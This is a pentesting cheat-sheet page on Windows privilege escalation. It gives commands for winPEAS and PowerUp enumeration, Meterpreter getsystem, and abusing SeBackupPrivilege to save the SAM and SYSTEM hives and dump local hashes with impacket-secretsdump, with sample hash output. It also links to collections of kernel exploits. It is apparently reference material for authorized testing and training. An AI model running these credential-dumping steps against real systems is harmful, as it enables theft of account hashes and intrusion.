> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc.md).

# Windows Priv esc

### Check if we are admin

<figure><img src="/files/7baXRtYWEpVWuy8eu8RM" alt=""><figcaption></figcaption></figure>

### Living of the land GTFO Bins for Windows

{% embed url="<https://lolbas-project.github.io/>" %}

### Enumeration with Winpeas

```
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/a17f91745cafc5fa43a428d766294190c0ff70a1/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe
```

### Enumeration with powerup.ps1

```
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
```

upload the script with metasploit

```
upload /root/PowerSploit/Privesc/PowerUp.ps1
```

<figure><img src="/files/tHFO2jM7rcgSLAiSqnIX" alt=""><figcaption></figcaption></figure>

Now run the script with Powershell

```
load Powershell
powershell_shell
.\PowerUp.ps1
Invoke-Allchecks
```

<figure><img src="/files/mPFtGyNbwXbxcLWFIN1b" alt=""><figcaption></figcaption></figure>

### Getsystem Meterpreter

Good easy win

{% embed url="<https://www.cobaltstrike.com/blog/what-happens-when-i-type-getsystem>" %}

<figure><img src="/files/tJkLYQhbdb101VaTzEZS" alt=""><figcaption></figcaption></figure>

### **Abusing the SeBackupPrivilege**

Running the `whoami /priv` command reveals that the **H.Grangon** account holds the **SeBackupPrivilege**. This privilege allows a user to read any file on the system, even those with restricted permissions. You can abuse this to obtain the password hashes of local users.

```
whoami /priv
```

<figure><img src="/files/DykuJmqRXyk3610x8YeB" alt=""><figcaption></figcaption></figure>

* **Commands:** `reg save hklm\sam C:\Users\<username>\Desktop\sam` and `reg save hklm\system C:\Users\<username>\Desktop\system`
* **Purpose:** These commands save the `SAM` and `SYSTEM` registry hives to a file, which contain the local user hashes.
* **Download:** Use the `evil-winrm` built-in `download` command to transfer these files to your Kali machine.

<figure><img src="/files/ZU0kpPknJwvQxiS4ZY74" alt=""><figcaption></figcaption></figure>

#### **Dumping & Reusing Hashes:**

* **Tool:** The **`impacket-secretsdump`** script is used to extract the local hashes from the downloaded files.
* **Command:** `impacket-secretsdump -sam <sam_file> -system <system_file> local`

```
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -sam sam -system system local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xf61a94fb13f74350a1f87f509c8c455c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:520126a03f5d5a8d836f1c4f34ede7ce:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

<figure><img src="/files/N7YMuvsmr5MvbWSYCGiX" alt=""><figcaption></figcaption></figure>

* **Result:** The hashes for local users, including the `Administrator` account, are dumped. While the local administrator account is disabled, the hash itself can be used in a **password reuse** attack against other accounts in the domain.

### Windows compiled exploits

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

{% embed url="<https://github.com/abatchy17/WindowsExploits>" %}

### Good Resources and Cheetsheets

{% embed url="<https://www.fuzzysecurity.com/tutorials/16.html>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>" %}

{% embed url="<https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/>" %}

{% embed url="<https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html>" %}

{% embed url="<https://github.com/TCM-Course-Resources/Windows-Privilege-Escalation-Resources>" %}
TCM Course Resources
{% endembed %}